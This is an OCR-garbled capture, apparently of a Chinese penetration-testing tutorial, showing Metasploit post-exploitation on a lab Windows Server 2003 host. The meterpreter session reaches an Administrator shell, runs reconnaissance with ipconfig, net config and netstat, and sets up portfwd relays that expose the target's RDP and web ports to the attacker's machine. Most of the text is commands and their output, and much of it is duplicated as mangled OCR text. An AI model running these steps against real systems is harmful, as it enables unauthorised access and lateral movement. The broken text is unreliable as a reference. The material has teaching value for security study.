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I msf exploit(multi/handler) > sessions -1

3 Active sessions

6 Id Name Type Information Connection

] == mmee mmee mmmmmmmmems mmmmmm———-

8 1 meterpreter x86/windows WIN®3X64\Administrator @ WINO3X64
192.168.1.5:45303 -> 192.168.1.119:53 (192.168.1.119

9
10 msf exploit(multi/handler) > sessions -i 1 -c 'ipconfig'

11 [*] Running 'ipconfig' on meterpreter session 1 (192.168.1.119

13 Windows IP Configuration

16 Ethernet adapter AHniZE$::

17

18 Connection-specific DNS Suffix

19 IP Address : 192.168.1.119
20 Subnet Mask : 255.255.255.0
21 Default Gateway : 192.168.1.1
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msf exploit(multishandler) =

Connectilon

-=182.168.1.119:53 (192.168.1.118)

Windows IF Configuration

Ethernet adapter = dhig#s:

ecific DNS Suffix

STAIPY : 192.168.1.119---windows 2003---x64
RERImA/ - 80, 3389

| msf exploit(multi/handler) > sessions -i 1

2 [*] Starting interaction with 1.

| meterpreter > shell

5 Process 4012 created

6 Channel 56 created

7 Microsoft Windows [fiiA 5.2.3790

8 (C) WMUBLFTH 1985-2003 Microsoft Corp
9

10 C:\Documents and Settings\Administrator\&[ii>if defined PSModulePath
echo ok!) else (echo sorry!

Il if defined PSModulePath (echo ok!) else (echo sorry!

12 sorry!

13

14 C:\Documents and Settings\Administrator\ﬁiﬁﬂ>net config Workstation
15 net config Workstation

16 THEAHLY \\WINe3X64

17 HENE4 wine3xe4

18 P4 Administrator

20 TARuGIEZAT T

21 NetbiosSmb (000000000000

22 NetBT_Tcpip_{37C12280-A19D-4D1A-9365-6CBF2CAE5BO7} (©00C2985D67D

24 WAERRAS Microsoft Windows Server 2003



26 LAF¥kik WORKGROUP

21 I WINe3X64

28

29 COM HTJHERy (#) o

30 COM KiEiH#l (1) 16
31 COM Ri%iEmS (ZF) 250
32 R I TE .

88

34

35 C:\Documents and Settings\Administrator\:£[f>netstat -an|findstr "LIST
ENING"

36 netstat -an|findstr "LISTENING"

37 TCP ©0.0.0.0:80 0.0.0.0:0 LISTENING

38 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING

39 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

40  TCP ©0.0.0.0:1025 0.0.0.0:0 LISTENING
41 TCP ©0.0.0.0:1026 0.0.0.0:0 LISTENING
42 TCP ©0.0.0.0:3078 0.0.0.0:0 LISTENING
43 TCP ©0.0.0.0:3389 0.0.0.0:0 LISTENING
44 TCP ©0.0.0.0:9001 0.0.0.0:0 LISTENING
45  TCP 127.0.0.1:2995 0.0.0.0:0 LISTENING
46 TCP 127.0.0.1:9000 0.0.0.0:0 LISTENING
47 TCP 127.0.0.1:9999 0.0.0.0:0 LISTENING

48  TCP 192.168.1.119:139 0.0.0.0:0 LISTENING
49
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meterpreter > portfwd -h

Usage: portfwd [-h] [add | delete | list | flush] [args

OPTIONS:

-L <opt> Forward: local host to listen on (optional Reverse: local
host to connect to

-R Indicates a reverse port forward
-h Help banner

-i <opt> Index of the port forward entry to interact with (see the "I
command

ist



[l -1 <opt> Forward: local port to listen on. Reverse: local port to cor
nect to

12 -p <opt> Forward: remote port to connect to. Reverse: remote port to
listen on

13 -r <opt> Forward: remote host to connect to

14

meterpreter = portfwd -h
2 portfwd [-h] [add | delete | list | flush] [args]

OFTIONS:

=opt= Forward: local b=  Rewerse: local host to connect to.
Indicates a reverse port forward.
ner.
f the port forward entry to in
) local port to connect to.
Fi rd: remote port to connect to. Reverse: remote port to listen an.
Forward: remote host to connect to.

AT

| meterpreter > portfwd add -1 33389 -r 192.168.1.119 -p 3389
2 [*] Local TCP relay created: :33389 <-> 192.168.1.119:3389
3 meterpreter > portfwd add -1 30080 -r 192.168.1.119 -p 80

I [*] Local TCP relay created: :30080 <-> 192.168.1.119:80

5 meterpreter > portfwd

7 Active Port Forwards

12 1 0.0.0.0:33389 192.168.1.119:3389 Forward
132 0.0.0.0:30080 192.168.1.119:80 Forward

15 2 total active port forwards

meterpreter = portfwd add -1
[#] Local TCP relay created

meterpreter = portfwd add -1
[#] Local TCP relay created:




meterpreter = portfwd

Index Local Femote Cirection

Forward
Forward

2 total active port forwards.

BEELEEHILISTENIRH © %A BT

1 root :~# netstat -ntlp |grep :3
2 tcp 0 0 0.0.0.0:33389 0.0.0.0:* LISTEN 2319/ruby

3 tcp 0 0 0.0.0.0:30080 0.0.0.0:* LISTEN 2319/ruby
1

(-# netstat -ntlp |grep : 3
0 , ) LISTEN
g . LISTEN

Windows 7 3 5IiAIAI 4133389 , 30080 , BEFN1/31J#E41.3389 , 80
CE192.168.1.5:33389 - AR EEEE

EF3 Windows

JET (@) >




R * I
“~ = ¢ ‘ () 192.168. 1. 5: 30080
L BEihia

ﬂ i o

TR O SRS AN - AR EE e TH B R (E -
ETHERHENSD - MEEDEE O, FSkETERRESR -

NFEEREEMEIRR , FRWABERTSRANEILES . H2H IIs
ERNPRY BRAMNERAENE -

EiHH 115 &L

. BEHE, ARRLET-

- T HELEAREF s B inetmgro FEI 115 BiESE-
- MEEMESR. BEEHES-

. B Internst (SBEF-

T e

e  Micropoor



